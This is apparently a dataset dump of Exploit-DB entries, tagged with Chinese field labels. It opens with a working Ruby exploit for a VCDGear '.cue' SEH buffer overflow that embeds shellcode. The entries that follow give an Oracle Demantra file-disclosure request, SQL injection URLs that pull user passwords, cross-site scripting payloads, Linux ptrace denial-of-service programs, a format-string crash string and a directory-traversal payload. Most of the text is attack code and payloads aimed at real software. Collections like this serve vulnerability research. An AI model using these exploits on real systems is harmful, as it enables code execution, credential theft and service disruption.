QLWD/code_shield huggingface dataset:
标题: VCDGear 3.50 - '.cue' Local Stack Buffer Overflow EDB-ID: 31991 CVE: 2007-2568 类型: LOCAL 平台: WINDOWS 发布日期: 2014-02-28 漏洞利用脚本: #!/usr/bin/ruby

'''
# Author: Provensec www.provensec.com <advisories@provensec.com >
# Tested on XP SP3 / Windows 7

# Description: VCDGEAR 3.50 is prone to a stack-based buffer overflow
vulnerability because the application fails to perform adequate
boundary-checks on user-supplied input.
# An attacker can exploit this issue to execute arbitrary code in the
context of the application. Failed exploit attempts will result in a
denial-of-service condition.
# Application vendor: VCDGear 3.50 -
http://www.vcdgear.com/files/vcdgear350.zip

# 0x00499a1e : pop ecx # pop ebp # ret 0x0c | startnull {PAGE_EXECUTE_READ}
[vcdgear.exe]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
# SEH record (nseh field) at 0x0012f7a4 overwritten with normal pattern :
0x35744134 (offset 580), followed by 1416 bytes of cyclic data
# Project1!ScandataFinalize+0x441:
# 00452ff9 c6841553fdffff00 mov     byte ptr [ebp+edx-2ADh],0
ss:0023:4112f660=??
# 0:000> !exchain
# 0012f7a4: 44434241
# Invalid exception stack at 909006eb
# 0:000> !exploitable
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols
for C:\WINDOWS\system32\USER32.dll -
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols
for C:\WINDOWS\system32\kernel32.dll -
# Exploitability Classification: EXPLOITABLE
'''

shellcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa4" +
"\x0d\x2b\xba\x83\xeb\xfc\xe2\xf4\x58\xe5\x6f\xba\xa4\x0d\xa0\xff" +
"\x98\x86\x57\xbf\xdc\x0c\xc4\x31\xeb\x15\xa0\xe5\x84\x0c\xc0\xf3" +
"\x2f\x39\xa0\xbb\x4a\x3c\xeb\x23\x08\x89\xeb\xce\xa3\xcc\xe1\xb7" +
"\xa5\xcf\xc0\x4e\x9f\x59\x0f\xbe\xd1\xe8\xa0\xe5\x80\x0c\xc0\xdc" +
"\x2f\x01\x60\x31\xfb\x11\x2a\x51\x2f\x11\xa0\xbb\x4f\x84\x77\x9e" +
"\xa0\xce\x1a\x7a\xc0\x86\x6b\x8a\x21\xcd\x53\xb6\x2f\x4d\x27\x31" +
"\xd4\x11\x86\x31\xcc\x05\xc0\xb3\x2f\x8d\x9b\xba\xa4\x0d\xa0\xd2" +
"\x98\x52\x1a\x4c\xc4\x5b\xa2\x42\x27\xcd\x50\xea\xcc\xfd\xa1\xbe" +
"\xfb\x65\xb3\x44\x2e\x03\x7c\x45\x43\x6e\x4a\xd6\xc7\x0d\x2b\xba"

filename = "file.cue"
header = " BINARY\n"
header += " TRACK 01 MODE2\2352\n"
header += " INDEX 01 00:00:00\n"

nops = "\x90" * 20
junk = "\x41" * 324
nseh = "\xeb\x06\x90\x90"
seh = "\x1e\x9a\x49\x00"
padding = "D" * (1412-(nops.length+shellcode.length))

data = "FILE \"" + junk + nseh + "ABCD" + nops + shellcode + padding + "\"" + header

puts "[*] JUNK size: %i\n" % [junk.length]
puts "[*] SHELLCODE size: %i\n" % [shellcode.length]
puts "[*] PADDING size: %i" % [padding.length]

File.open(filename, 'wb') do |fd|
  fd.write data
  puts "[*] FILE CREATED SUCCESSFULLY"
end URL: https://www.exploit-db.com/exploits/31991
标题: Oracle Demantra 12.2.1 - Arbitrary File Disclosure EDB-ID: 31992 CVE: 2013-5877 类型: WEBAPPS 平台: WINDOWS 发布日期: 2014-03-01 漏洞利用脚本: Details:

The Team discovered a Local File Include (LFI) vulnerability. A file inclusion vulnerability occurs when a file from the target system is injected into a page on the attacked server page.

The vulnerable page is:
* /demantra/GraphServlet
Impact:

Impact can differ based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks:

- Harvest useful information from the web.xml configuration file.

- Download the whole web application source code like the vulnerable page itself.
Exploit:

Request:

POST /demantra/GraphServlet HTTP/1.1
Host: 192.168.14.171:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml

Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/png
Content-Length: 44378
Date: Fri, 02 Aug 2013 20:20:58 GMT

<?xml version="1.0" encoding="UTF-8"?>
 
   <web-app
    id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" 
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
 xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
   http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"> 

    


 <!-- Important Notice -->
 <!--
  The order of elements in the web.xml is significant for some
  Application Server parsers like WebSphere. The expected order is
  examplified in the comments of this file. Each element section has a
  Start comment(***) and an End comment. Please make sure to add new
  elements in the appropriate section of the file delimited by the
  relevant comment.
 -->

 <!-- ***Icons Start -->
 <!-- ***Icons End -->
-snip- 

Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/31992
标题: The Rat CMS - 'viewarticle.php?id' SQL Injection EDB-ID: 31977 CVE: 2008-5163 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29959/info
  
The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user-- URL: https://www.exploit-db.com/exploits/31977
标题: The Rat CMS - 'viewarticle.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31975 CVE: 2008-5164 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29959/info

The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle.php/<XSS>
http://www.example.com/[trcms_path]/viewarticle.php?id=<XSS> URL: https://www.exploit-db.com/exploits/31975
标题: The Rat CMS - 'viewarticle2.php?id' SQL Injection EDB-ID: 31978 CVE: 2008-5163 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29959/info
   
The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle2.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user-- URL: https://www.exploit-db.com/exploits/31978
标题: The Rat CMS - 'viewarticle2.php?id' Cross-Site Scripting EDB-ID: 31976 CVE: 2008-5164 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29959/info
 
The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
The Rat CMS Pre-Alpha 2 is vulnerable; other versions may also be affected.

http://www.example.com/[trcms_path]/viewarticle2.php?id=<XSS> URL: https://www.exploit-db.com/exploits/31976
标题: GNOME Rhythmbox 0.11.5 - '.Playlist' File Denial of Service EDB-ID: 31968 CVE: 2008-7185 类型: DOS 平台: LINUX 发布日期: 2008-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29958/info

GNOME Rhythmbox is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted input.

Exploiting this issue allows remote attackers to crash the application and trigger denial-of-service conditions, denying further service to legitimate users. Given the nature of this issue, code execution may be possible, but this has not been confirmed.

GNOME Rhythmbox 0.11.5 is vulnerable; other versions may also be affected. 

[playlist]
X-GNOME-Title=
Title= A * 1475
NumberOfEntries=0 URL: https://www.exploit-db.com/exploits/31968
标题: 5th street - 'dx8render.dll' Format String EDB-ID: 31964 CVE: 2008-3116 类型: DOS 平台: WINDOWS 发布日期: 2008-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/29928/info

The '5th street' game is prone to a format-string vulnerability.

Exploiting this issue will allow attackers to execute arbitrary code with the privileges of a user running the application. Failed attacks will likely cause denial-of-service conditions.

When the following chat message is sent, the game client of every connected user will crash:

%5000000.x URL: https://www.exploit-db.com/exploits/31964
标题: Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1) EDB-ID: 31965 CVE: 2008-2365 类型: DOS 平台: LINUX 发布日期: 2008-06-25 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/29945/info

The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.

Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users. 
*/


#include <stdlib.h>
#include <sys/ptrace.h>

int main(int argc, char *argv[])
{
 pid_t pid = atoi(argv[1]);

 while (1)
  ptrace(PTRACE_ATTACH, pid, NULL, NULL);

 return 0;
} URL: https://www.exploit-db.com/exploits/31965
标题: Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (2) EDB-ID: 31966 CVE: 2008-2365 类型: DOS 平台: LINUX 发布日期: 2008-06-25 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/29945/info
 
The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.
 
Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users. 
*/

/* This software is provided 'as-is', without any express or implied
   warranty.  In no event will the authors be held liable for any 
damages
   arising from the use of this software.
   
   Permission is granted to anyone to use this software for any purpose,
   including commercial applications, and to alter it and redistribute 
it
   freely.  */

#ifdef __ia64__
#define ia64_fpreg ia64_fpreg_DISABLE
#define pt_all_user_regs pt_all_user_regs_DISABLE
#endif /* __ia64__ */
#include <sys/ptrace.h>
#ifdef __ia64__
#undef ia64_fpreg
#undef pt_all_user_regs
#endif /* __ia64__ */
#include <linux/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#if defined __i386__ || defined __x86_64__
#include <sys/debugreg.h>
#endif

#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>

/* WARNING: The real testing count is probably unbound.  */
#define DEFAULT_TESTTIME 10 /* seconds */

static pid_t pid;

static void
cleanup (void)
{
  if (pid != 0)
    kill (pid, SIGKILL);
}

static void
handler_fail (int signo)
{
  cleanup ();

  signal (signo, SIG_DFL);
  raise (signo);
}

static void *thread_func(void *argv0_pointer)
{
 execl("/proc/self/exe", argv0_pointer, "child", NULL);
 abort ();
 /* NOTREACHED */
}

int main(int argc, const char *argv[])
{
 char *testtime = getenv ("TESTTIME");
 time_t testend = time (NULL) + (testtime != NULL ? atoi 
(testtime)
        : 
DEFAULT_TESTTIME);
 unsigned long loops;
 pthread_t thread;

 atexit (cleanup);
 signal (SIGABRT, handler_fail);
 signal (SIGINT, handler_fail);

 if ((argc != 2 || strcmp (argv[1], "child") != 0) && (pid = 
fork())) {
  loops = 0;
  do {
   ptrace(PTRACE_ATTACH, pid, NULL, 0);
   ptrace(PTRACE_DETACH, pid, NULL, 0);
   loops++;
  } while (time (NULL) < testend);
  return 0;
 }

 if (pthread_create(&thread, NULL, thread_func, (void *) 
argv[0]))
  perror("pthread_create");

 while (1)
  pause();
 /* NOTREACHED */
 abort ();
} URL: https://www.exploit-db.com/exploits/31966
标题: Benja CMS 0.1 - '/admin/admin_edit_topmenu.php' Cross-Site Scripting EDB-ID: 31956 CVE: 2008-2987 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29884/info
  
The 'benja CMS' program is prone to multiple vulnerabilities because it fails to adequately validate input and restrict access. These issues include three cross-site scripting issues, an arbitrary-file-upload issue, and a vulnerability that allows unauthorized access to an administrative script.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, to run arbitrary script code in the context of the application, or to access administrative scripts.
  
These issues affect 'benja CMS 0.1'; other versions may also be affected. 

http://www.example.com/[benjacms_path]/admin/admin_edit_topmenu.php/<XSS> URL: https://www.exploit-db.com/exploits/31956
标题: Perl - 'rmtree()' Function Local Insecure Permissions EDB-ID: 31959 CVE: 2008-2827 类型: LOCAL 平台: LINUX 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29902/info

Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.

Attackers can leverage this issue to change the permissions of arbitrary files.

Perl 5.10.0 is vulnerable; other versions may also be affected.

% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo URL: https://www.exploit-db.com/exploits/31959
标题: World in Conflict 1.008 - Null Pointer Remote Denial of Service EDB-ID: 31957 CVE: 2008-6713 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29888/info

World in Conflict is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects World in Conflict 1.008; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31957.zip URL: https://www.exploit-db.com/exploits/31957
标题: Chipmunk Blog - 'cat.php' Cross-Site Scripting EDB-ID: 31953 CVE: 2008-3186 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29883/info
    
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/path/cat.php?membername=[XSS]
http://www.example.com/path/cat.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E URL: https://www.exploit-db.com/exploits/31953
标题: Chipmunk Blog - 'photos.php' Cross-Site Scripting EDB-ID: 31951 CVE: 2008-3186 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29883/info
  
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/path/photos.php?membername=[XSS]
http://www.example.com/path/photos.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E URL: https://www.exploit-db.com/exploits/31951
标题: Benja CMS 0.1 - '/admin/admin_edit_submenu.php' Cross-Site Scripting EDB-ID: 31954 CVE: 2008-2987 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29884/info

The 'benja CMS' program is prone to multiple vulnerabilities because it fails to adequately validate input and restrict access. These issues include three cross-site scripting issues, an arbitrary-file-upload issue, and a vulnerability that allows unauthorized access to an administrative script.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, to run arbitrary script code in the context of the application, or to access administrative scripts.

These issues affect 'benja CMS 0.1'; other versions may also be affected. 

http://www.example.com/[benjacms_path]/admin/admin_edit_submenu.php/<XSS> URL: https://www.exploit-db.com/exploits/31954
标题: Chipmunk Blog - 'archive.php' Cross-Site Scripting EDB-ID: 31952 CVE: 2008-3186 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29883/info
   
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/path/archive.php?membername=[XSS]
http://www.example.com/path/archive.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E URL: https://www.exploit-db.com/exploits/31952
标题: Chipmunk Blog - 'members.php' Cross-Site Scripting EDB-ID: 31949 CVE: 2008-3186 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29883/info

Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/path/members.php?membername=[XSS]
http://www.example.com/path/members.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E URL: https://www.exploit-db.com/exploits/31949
标题: SunAge 1.8.1 - Multiple Denial of Service Vulnerabilities EDB-ID: 31958 CVE: 2008-6670 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29889/info

SunAge is prone to multiple denial-of-service vulnerabilities.

Successfully exploiting these issues allows remote attackers to crash affected game servers, denying service to legitimate users.

SunAge 1.08.1 is vulnerable; previous versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31958.zip URL: https://www.exploit-db.com/exploits/31958
标题: PEGames - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31945 CVE: 2008-2871 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29865/info

PEGames is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/path/template2.php?sitetitle=[XSS]
http://www.example.com/path/template2.php?sitenav=[XSS]
http://www.example.com/path/template2.php?sitemain=[XSS]
http://www.example.com/path/template2.php?sitealt=[XSS] URL: https://www.exploit-db.com/exploits/31945
标题: Chipmunk Blog - 'comments.php' Cross-Site Scripting EDB-ID: 31950 CVE: 2008-3186 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29883/info
 
Chipmunk Blog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/path/comments.php?membername=[XSS]
http://www.example.com/path/comments.php?membername=%22%3E%3Cscript%3Ealert(123);%3C/script%3E URL: https://www.exploit-db.com/exploits/31950
标题: Benja CMS 0.1 - '/admin/admin_new_submenu.php' Cross-Site Scripting EDB-ID: 31955 CVE: 2008-2987 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/29884/info
 
The 'benja CMS' program is prone to multiple vulnerabilities because it fails to adequately validate input and restrict access. These issues include three cross-site scripting issues, an arbitrary-file-upload issue, and a vulnerability that allows unauthorized access to an administrative script.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, to run arbitrary script code in the context of the application, or to access administrative scripts.
 
These issues affect 'benja CMS 0.1'; other versions may also be affected. 

http://www.example.com/[benjacms_path]/admin/admin_new_submenu.php/<XSS> URL: https://www.exploit-db.com/exploits/31955
标题: WISE-FTP 4.1/5.5.8 - FTP Client 'LIST' Directory Traversal EDB-ID: 31941 CVE: 2008-2889 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/29844/info

WISE-FTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Versions prior to WISE-FTP 5.5.9 are vulnerable.

Response to LIST:

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n URL: https://www.exploit-db.com/exploits/31941